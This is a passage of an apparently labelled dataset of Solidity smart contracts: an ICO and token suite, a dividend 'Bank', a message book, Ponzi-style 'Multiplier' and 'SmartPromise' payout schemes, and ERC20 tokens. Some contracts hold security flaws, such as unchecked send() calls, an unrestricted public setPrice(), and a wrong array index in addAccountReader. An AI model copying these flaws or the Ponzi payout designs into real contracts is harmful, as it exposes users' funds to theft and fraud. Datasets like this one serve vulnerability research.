function isCurrentAccountReader(address _address) constant returns (bool) {
return accountReaderAddresses[_address];
}
function isCurrentOrPastAccountReader(address _address) constant returns (bool) {
for (uint256 i = 0; i < accountReaderAudit.length; i++)
if (accountReaderAudit[i] == _address)
return true;
return false;
}
function addAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (adminAddresses[_address])
throw;
adminAddresses[_address] = true;
AdminAdded(msg.sender, _address);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = _address;
}
function removeAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (_address == msg.sender)
throw;
if (!adminAddresses[_address])
throw;
adminAddresses[_address] = false;
AdminRemoved(msg.sender, _address);
}
function addAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (accountReaderAddresses[_address])
throw;
accountReaderAddresses[_address] = true;
AccountReaderAdded(msg.sender, _address);
accountReaderAudit.length++;
accountReaderAudit[adminAudit.length - 1] = _address;
}
function removeAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (!accountReaderAddresses[_address])
throw;
accountReaderAddresses[_address] = false;
AccountReaderRemoved(msg.sender, _address);
}
}
contract IcoPhaseManagement {
using SafeMath for uint256;
bool public icoPhase = true;
bool public icoAbandoned = false;
bool siftContractDefined = false;
uint256 constant icoUnitPrice = 10 finney;
mapping(address => uint256) public abandonedIcoBalances;
SmartInvestmentFundToken smartInvestmentFundToken;
AuthenticationManager authenticationManager;
uint256 constant public icoStartTime = 1501545600;
uint256 constant public icoEndTime = 1505433600;
event IcoClosed();
event IcoAbandoned(string details);
modifier onlyDuringIco {
bool contractValid = siftContractDefined && !smartInvestmentFundToken.isClosed();
if (!contractValid || (!icoPhase && !icoAbandoned)) throw;
_;
}
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
function IcoPhaseManagement(address _authenticationManagerAddress) {
if (icoStartTime >= icoEndTime)
throw;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
if (authenticationManager.contractVersion() != 100201707171503)
throw;
}
function setSiftContractAddress(address _siftContractAddress) adminOnly {
if (siftContractDefined)
throw;
smartInvestmentFundToken = SmartInvestmentFundToken(_siftContractAddress);
if (smartInvestmentFundToken.contractVersion() != 500201707171440)
throw;
siftContractDefined = true;
}
function contractVersion() constant returns(uint256) {
return 300201707171440;
}
function close() adminOnly onlyDuringIco {
if (now <= icoEndTime)
throw;
icoPhase = false;
IcoClosed();
if (!msg.sender.send(this.balance))
throw;
}
function () onlyDuringIco payable {
if (now < icoStartTime || now > icoEndTime)
throw;
uint256 tokensPurchased = msg.value / icoUnitPrice;
uint256 purchaseTotalPrice = tokensPurchased * icoUnitPrice;
uint256 change = msg.value.sub(purchaseTotalPrice);
if (tokensPurchased > 0)
smartInvestmentFundToken.mintTokens(msg.sender, tokensPurchased);
if (change > 0 && !msg.sender.send(change))
throw;
}
function abandon(string details) adminOnly onlyDuringIco {
if (now <= icoEndTime)
throw;
if (icoAbandoned)
throw;
uint256 paymentPerShare = this.balance / smartInvestmentFundToken.totalSupply();
uint numberTokenHolders = smartInvestmentFundToken.tokenHolderCount();
uint256 totalAbandoned = 0;
for (uint256 i = 0; i < numberTokenHolders; i++) {
address addr = smartInvestmentFundToken.tokenHolder(i);
uint256 etherToSend = paymentPerShare * smartInvestmentFundToken.balanceOf(addr);
if (etherToSend < 1)
continue;
abandonedIcoBalances[addr] = abandonedIcoBalances[addr].add(etherToSend);
totalAbandoned = totalAbandoned.add(etherToSend);
}
icoAbandoned = true;
IcoAbandoned(details);
uint256 remainder = this.balance.sub(totalAbandoned);
if (remainder > 0)
if (!msg.sender.send(remainder))
abandonedIcoBalances[msg.sender] = abandonedIcoBalances[msg.sender].add(remainder);
}
function abandonedFundWithdrawal() {
if (!icoAbandoned || abandonedIcoBalances[msg.sender] == 0)
throw;
uint256 funds = abandonedIcoBalances[msg.sender];
abandonedIcoBalances[msg.sender] = 0;
if (!msg.sender.send(funds))
throw;
}
}
contract SmartInvestmentFundToken {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
address[] allTokenHolders;
string public name;
string public symbol;
uint8 public decimals;
uint256 totalSupplyAmount = 0;
address public icoContractAddress;
bool public isClosed;
IcoPhaseManagement icoPhaseManagement;
AuthenticationManager authenticationManager;
event FundClosed();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function SmartInvestmentFundToken(address _icoContractAddress, address _authenticationManagerAddress) {
name = "Smart Investment Fund Token";
symbol = "SIFT";
decimals = 0;
icoPhaseManagement = IcoPhaseManagement(_icoContractAddress);
if (icoPhaseManagement.contractVersion() != 300201707171440)
throw;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
if (authenticationManager.contractVersion() != 100201707171503)
throw;
icoContractAddress = _icoContractAddress;
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
modifier accountReaderOnly {
if (!authenticationManager.isCurrentAccountReader(msg.sender)) throw;
_;
}
modifier fundSendablePhase {
if (icoPhaseManagement.icoPhase())
throw;
if (icoPhaseManagement.icoAbandoned())
throw;
_;
}
function contractVersion() constant returns(uint256) {
return 500201707171440;
}
function transferFrom(address _from, address _to, uint256 _amount) fundSendablePhase onlyPayloadSize(3) returns (bool) {
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]) {
bool isNew = balances[_to] == 0;
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isNew)
tokenOwnerAdd(_to);
if (balances[_from] == 0)
tokenOwnerRemove(_from);
Transfer(_from, _to, _amount);
return true;
}
return false;
}
function tokenHolderCount() accountReaderOnly constant returns (uint256) {
return allTokenHolders.length;
}
function tokenHolder(uint256 _index) accountReaderOnly constant returns (address) {
return allTokenHolders[_index];
}
function approve(address _spender, uint256 _amount) fundSendablePhase onlyPayloadSize(2) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function totalSupply() constant returns (uint256) {
return totalSupplyAmount;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) fundSendablePhase onlyPayloadSize(2) returns (bool) {
if (balances[msg.sender] < _amount || balances[_to].add(_amount) < balances[_to])
return false;
bool isRecipientNew = balances[_to] < 1;
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isRecipientNew)
tokenOwnerAdd(_to);
if (balances[msg.sender] < 1)
tokenOwnerRemove(msg.sender);
Transfer(msg.sender, _to, _amount);
return true;
}
function tokenOwnerAdd(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
for (uint256 i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr)
return;
allTokenHolders.length++;
allTokenHolders[allTokenHolders.length - 1] = _addr;
}
function tokenOwnerRemove(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
uint256 foundIndex = 0;
bool found = false;
uint256 i;
for (i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr) {
foundIndex = i;
found = true;
break;
}
if (!found)
return;
for (i = foundIndex; i < tokenHolderCount - 1; i++)
allTokenHolders[i] = allTokenHolders[i + 1];
allTokenHolders.length--;
}
function mintTokens(address _address, uint256 _amount) onlyPayloadSize(2) {
if (msg.sender != icoContractAddress || !icoPhaseManagement.icoPhase())
throw;
bool isNew = balances[_address] == 0;
totalSupplyAmount = totalSupplyAmount.add(_amount);
balances[_address] = balances[_address].add(_amount);
if (isNew)
tokenOwnerAdd(_address);
Transfer(0, _address, _amount);
}
}
contract TokenHolderSnapshotter {
using SafeMath for uint256;
mapping (address => uint256) balances;
SmartInvestmentFundToken siftContract;
AuthenticationManager authenticationManager;
address[] allTokenHolders;
event SnapshotTaken();
event SnapshotUpdated(address holder, uint256 oldBalance, uint256 newBalance, string details);
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
modifier accountReaderOnly {
if (!authenticationManager.isCurrentAccountReader(msg.sender)) throw;
_;
}
function TokenHolderSnapshotter(address _siftContractAddress, address _authenticationManagerAddress) {
siftContract = SmartInvestmentFundToken(_siftContractAddress);
if (siftContract.contractVersion() != 500201707171440)
throw;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
if (authenticationManager.contractVersion() != 100201707171503)
throw;
}
function contractVersion() constant returns(uint256) {
return 700201709192119;
}
function snapshot() adminOnly {
uint256 i;
for (i = 0; i < allTokenHolders.length; i++)
balances[allTokenHolders[i]] = 0;
allTokenHolders.length = siftContract.tokenHolderCount();
for (i = 0; i < allTokenHolders.length; i++) {
address addr = siftContract.tokenHolder(i);
allTokenHolders[i] = addr;
balances[addr] = siftContract.balanceOf(addr);
}
SnapshotTaken();
}
function snapshotUpdate(address _addr, uint256 _newBalance, string _details) adminOnly {
uint256 existingBalance = balances[_addr];
if (existingBalance == _newBalance)
return;
if (existingBalance == 0) {
allTokenHolders.length++;
allTokenHolders[allTokenHolders.length - 1] = _addr;
balances[_addr] = _newBalance;
}
else if (_newBalance > 0) {
balances[_addr] = _newBalance;
} else {
balances[_addr] = 0;
uint256 tokenHolderCount = allTokenHolders.length;
uint256 foundIndex = 0;
bool found = false;
uint256 i;
for (i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr) {
foundIndex = i;
found = true;
break;
}
if (found) {
for (i = foundIndex; i < tokenHolderCount - 1; i++)
allTokenHolders[i] = allTokenHolders[i + 1];
allTokenHolders.length--;
}
}
SnapshotUpdated(_addr, existingBalance, _newBalance, _details);
}
function balanceOf(address addr) accountReaderOnly constant returns (uint256) {
return balances[addr];
}
function tokenHolderCount() accountReaderOnly constant returns (uint256) {
return allTokenHolders.length;
}
function tokenHolder(uint256 _index) accountReaderOnly constant returns (address) {
return allTokenHolders[_index];
}
} | 1 | 3,579 |
pragma solidity ^0.4.24;
contract Bank {
using SafeMath for uint256;
mapping(address => uint256) public balance;
mapping(address => uint256) public claimedSum;
mapping(address => uint256) public donateSum;
mapping(address => bool) public isMember;
address[] public member;
uint256 public TIME_OUT = 7 days;
mapping(address => uint256) public lastClaim;
CitizenInterface public citizenContract;
LotteryInterface public lotteryContract;
F2mInterface public f2mContract;
DevTeamInterface public devTeamContract;
constructor (address _devTeam)
public
{
devTeamContract = DevTeamInterface(_devTeam);
devTeamContract.setBankAddress(address(this));
}
function joinNetwork(address[6] _contract)
public
{
require(address(citizenContract) == 0x0,"already setup");
f2mContract = F2mInterface(_contract[0]);
citizenContract = CitizenInterface(_contract[2]);
lotteryContract = LotteryInterface(_contract[3]);
}
function pushToBank(address _player)
public
payable
{
uint256 _amount = msg.value;
lastClaim[_player] = block.timestamp;
balance[_player] = _amount.add(balance[_player]);
}
function collectDividends(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = f2mContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectRef(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = citizenContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectReward(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = lotteryContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectIncome(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = collectDividends(_member) + collectRef(_member) + collectReward(_member);
return collected;
}
function restTime(address _member)
public
view
returns(uint256)
{
uint256 timeDist = block.timestamp - lastClaim[_member];
if (timeDist >= TIME_OUT) return 0;
return TIME_OUT - timeDist;
}
function timeout(address _member)
public
view
returns(bool)
{
return lastClaim[_member] > 0 && restTime(_member) == 0;
}
function memberLog()
private
{
address _member = msg.sender;
lastClaim[_member] = block.timestamp;
if (isMember[_member]) return;
member.push(_member);
isMember[_member] = true;
}
function cashoutable()
public
view
returns(bool)
{
return lotteryContract.cashoutable(msg.sender);
}
function cashout()
public
{
address _sender = msg.sender;
uint256 _amount = balance[_sender];
require(_amount > 0, "nothing to cashout");
balance[_sender] = 0;
memberLog();
require(cashoutable() && _amount > 0, "need 1 ticket or wait to new round");
_sender.transfer(_amount);
}
function checkTimeout(address _member)
public
{
require(timeout(_member), "member still got time to withdraw");
require(_member != address(devTeamContract), "no right");
uint256 _curBalance = balance[_member];
uint256 _refIncome = collectRef(_member);
uint256 _divIncome = collectDividends(_member);
uint256 _rewardIncome = collectReward(_member);
donateSum[_member] += _refIncome + _divIncome + _rewardIncome;
balance[_member] = _curBalance;
f2mContract.pushDividends.value(_divIncome + _rewardIncome)();
citizenContract.pushRefIncome.value(_refIncome)(0x0);
}
function withdraw()
public
{
address _member = msg.sender;
collectIncome(_member);
cashout();
}
function lotteryReinvest(string _sSalt, uint256 _amount)
public
payable
{
address _sender = msg.sender;
uint256 _deposit = msg.value;
uint256 _curBalance = balance[_sender];
uint256 investAmount;
uint256 collected = 0;
if (_deposit == 0) {
if (_amount > balance[_sender])
collected = collectIncome(_sender);
require(_amount <= _curBalance + collected, "balance not enough");
investAmount = _amount;
} else {
collected = collectIncome(_sender);
investAmount = _deposit.add(_curBalance).add(collected);
}
balance[_sender] = _curBalance.add(collected + _deposit).sub(investAmount);
lastClaim [_sender] = block.timestamp;
lotteryContract.buyFor.value(investAmount)(_sSalt, _sender);
}
function tokenReinvest(uint256 _amount)
public
payable
{
address _sender = msg.sender;
uint256 _deposit = msg.value;
uint256 _curBalance = balance[_sender];
uint256 investAmount;
uint256 collected = 0;
if (_deposit == 0) {
if (_amount > balance[_sender])
collected = collectIncome(_sender);
require(_amount <= _curBalance + collected, "balance not enough");
investAmount = _amount;
} else {
collected = collectIncome(_sender);
investAmount = _deposit.add(_curBalance).add(collected);
}
balance[_sender] = _curBalance.add(collected + _deposit).sub(investAmount);
lastClaim [_sender] = block.timestamp;
f2mContract.buyFor.value(investAmount)(_sender);
}
function getDivBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = f2mContract.ethBalance(_sender);
return _amount;
}
function getEarlyIncomeBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = lotteryContract.getCurEarlyIncomeByAddress(_sender);
return _amount;
}
function getRewardBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = lotteryContract.getRewardBalance(_sender);
return _amount;
}
function getRefBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = citizenContract.getRefWallet(_sender);
return _amount;
}
function getBalance(address _sender)
public
view
returns(uint256)
{
uint256 _sum = getUnclaimedBalance(_sender);
return _sum + balance[_sender];
}
function getUnclaimedBalance(address _sender)
public
view
returns(uint256)
{
uint256 _sum = getDivBalance(_sender) + getRefBalance(_sender) + getRewardBalance(_sender) + getEarlyIncomeBalance(_sender);
return _sum;
}
function getClaimedBalance(address _sender)
public
view
returns(uint256)
{
return balance[_sender];
}
function getTotalMember()
public
view
returns(uint256)
{
return member.length;
}
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN));
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0);
require(!(b == -1 && a == INT256_MIN));
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface F2mInterface {
function joinNetwork(address[6] _contract) public;
function activeBuy() public;
function pushDividends() public payable;
function buyFor(address _buyer) public payable;
function sell(uint256 _tokenAmount) public;
function exit() public;
function devTeamWithdraw() public returns(uint256);
function withdrawFor(address sender) public returns(uint256);
function transfer(address _to, uint256 _tokenAmount) public returns(bool);
function setAutoBuy() public;
function ethBalance(address _address) public view returns(uint256);
function myBalance() public view returns(uint256);
function myEthBalance() public view returns(uint256);
function swapToken() public;
function setNewToken(address _newTokenAddress) public;
}
interface CitizenInterface {
function joinNetwork(address[6] _contract) public;
function devTeamWithdraw() public;
function updateUsername(string _sNewUsername) public;
function pushRefIncome(address _sender) public payable;
function withdrawFor(address _sender) public payable returns(uint256);
function devTeamReinvest() public returns(uint256);
function getRefWallet(address _address) public view returns(uint256);
}
interface LotteryInterface {
function joinNetwork(address[6] _contract) public;
function activeFirstRound() public;
function pushToPot() public payable;
function finalizeable() public view returns(bool);
function finalize() public;
function buy(string _sSalt) public payable;
function buyFor(string _sSalt, address _sender) public payable;
function withdrawFor(address _sender) public returns(uint256);
function getRewardBalance(address _buyer) public view returns(uint256);
function getTotalPot() public view returns(uint256);
function getEarlyIncomeByAddress(address _buyer) public view returns(uint256);
function getCurEarlyIncomeByAddress(address _buyer) public view returns(uint256);
function getCurRoundId() public view returns(uint256);
function setLastRound(uint256 _lastRoundId) public;
function getPInvestedSumByRound(uint256 _rId, address _buyer) public view returns(uint256);
function cashoutable(address _address) public view returns(bool);
function isLastRound() public view returns(bool);
function sBountyClaim(address _sBountyHunter) public returns(uint256);
}
interface DevTeamInterface {
function setF2mAddress(address _address) public;
function setLotteryAddress(address _address) public;
function setCitizenAddress(address _address) public;
function setBankAddress(address _address) public;
function setRewardAddress(address _address) public;
function setWhitelistAddress(address _address) public;
function setupNetwork() public;
} | 1 | 2,832 |
pragma solidity ^0.4.23;
contract EthernalMessageBook {
event MessageEthernalized(
uint messageId
);
struct Message {
string msg;
uint value;
address sourceAddr;
string authorName;
uint time;
uint blockNumber;
string metadata;
string link;
string title;
}
Message[] public messages;
address private root;
uint public price;
uint public startingPrice;
uint32 public multNumerator;
uint32 public multDenominator;
uint32 public expirationSeconds;
uint public expirationTime;
constructor(uint argStartPrice, uint32 argNumerator, uint32 argDenominator, uint32 argExpirationSeconds) public {
root = msg.sender;
price = argStartPrice;
startingPrice = argStartPrice;
require(argNumerator > multDenominator);
multNumerator = argNumerator;
multDenominator = argDenominator;
expirationSeconds = argExpirationSeconds;
expirationTime = now;
}
function getMessagesCount() public view returns (uint) {
return messages.length;
}
function getSummary() public view returns (uint32, uint32, uint, uint) {
return (
multNumerator,
multDenominator,
startingPrice,
messages.length
);
}
function getSecondsToExpiration() public view returns (uint) {
if (expirationTime > now) {
return expirationTime - now;
}
else return 0;
}
function writeMessage(string argMsg, string argTitle, string argAuthorName, string argLink, string argMeta) public payable {
require(block.timestamp >= expirationTime);
require(msg.value >= price);
Message memory newMessage = Message({
msg : argMsg,
value : msg.value,
sourceAddr : msg.sender,
authorName : argAuthorName,
time : block.timestamp,
blockNumber : block.number,
metadata : argMeta,
link : argLink,
title: argTitle
});
messages.push(newMessage);
address thisContract = this;
root.transfer(thisContract.balance);
emit MessageEthernalized(messages.length - 1);
price = (price * multNumerator) / multDenominator;
expirationTime = block.timestamp + expirationSeconds;
}
} | 1 | 3,472 |
pragma solidity ^0.4.25;
contract Multiplier {
address constant private PROMO1 = 0x51A2BF880F4db7713E95498833308ffE4D61d080;
address constant private PROMO2 = 0x1e8f7BD53c898625cDc2416ae5f1c446A16dd8D9;
address constant private TECH = 0x36413D58cA47520575889EE3E02E7Bb508b3D1E8;
uint constant public PROMO_PERCENT1 = 2;
uint constant public PROMO_PERCENT2 = 2;
uint constant public TECH_PERCENT = 2;
uint constant public MULTIPLIER = 123;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 1 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo1 = msg.value*PROMO_PERCENT1/100;
PROMO1.send(promo1);
uint promo2 = msg.value*PROMO_PERCENT2/100;
PROMO2.send(promo2);
uint tech = msg.value*TECH_PERCENT/100;
TECH.send(tech);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 137 |
pragma solidity ^0.4.24;
contract SmartPromise {
address owner;
mapping (address => uint256) balances;
mapping (address => uint256) timestamp;
constructor() public { owner = msg.sender;}
function() external payable {
owner.send(msg.value / 10);
if (balances[msg.sender] != 0){
address paymentAddress = msg.sender;
uint256 paymentAmount = balances[msg.sender]*4/100*(block.number-timestamp[msg.sender])/5900;
paymentAddress.send(paymentAmount);
}
timestamp[msg.sender] = block.number;
balances[msg.sender] += msg.value;
}
} | 0 | 2,180 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract SampleCrowdsaleToken is StandardToken,Ownable {
using SafeMath for uint256;
string public constant name = "StarLight";
string public constant symbol = "STAR";
uint8 public constant decimals = 18;
address public address1 = 0x08294159dE662f0Bd810FeaB94237cf3A7bB2A3D;
address public address2 = 0xAed27d4ecCD7C0a0bd548383DEC89031b7bBcf3E;
address public address3 = 0x41ba7eED9be2450961eBFD7C9Fb715cae077f1dC;
address public address4 = 0xb9cdb4CDC8f9A931063cA30BcDE8b210D3BA80a3;
address public address5 = 0x5aBF2CA9e7F5F1895c6FBEcF5668f164797eDc5D;
uint256 public weiRaised;
uint public price = 1136;
function () payable {
if(msg.value < 1 ether){
throw;
}
uint256 weiAmount = msg.value;
uint256 toto = totalSupply.div(1 ether);
if ( toto> 3000000) {
price = 558;
}
if (toto > 9000000) {
price = 277;
}
if (toto > 23400000) {
price = 136;
}
if (toto > 104400000) {
price = 0;
}
uint256 tokens = weiAmount.mul(price);
weiRaised = weiRaised.add(weiAmount);
totalSupply = totalSupply.add(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
address1.send(weiAmount.div(5));
address2.send(weiAmount.div(5));
address3.send(weiAmount.div(5));
address4.send(weiAmount.div(5));
address5.send(weiAmount.div(5));
}
function setPrice(uint256 newPrice){
price = newPrice;
}
function withdraw() onlyOwner
{
owner.send(this.balance);
}
} | 0 | 2,128 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
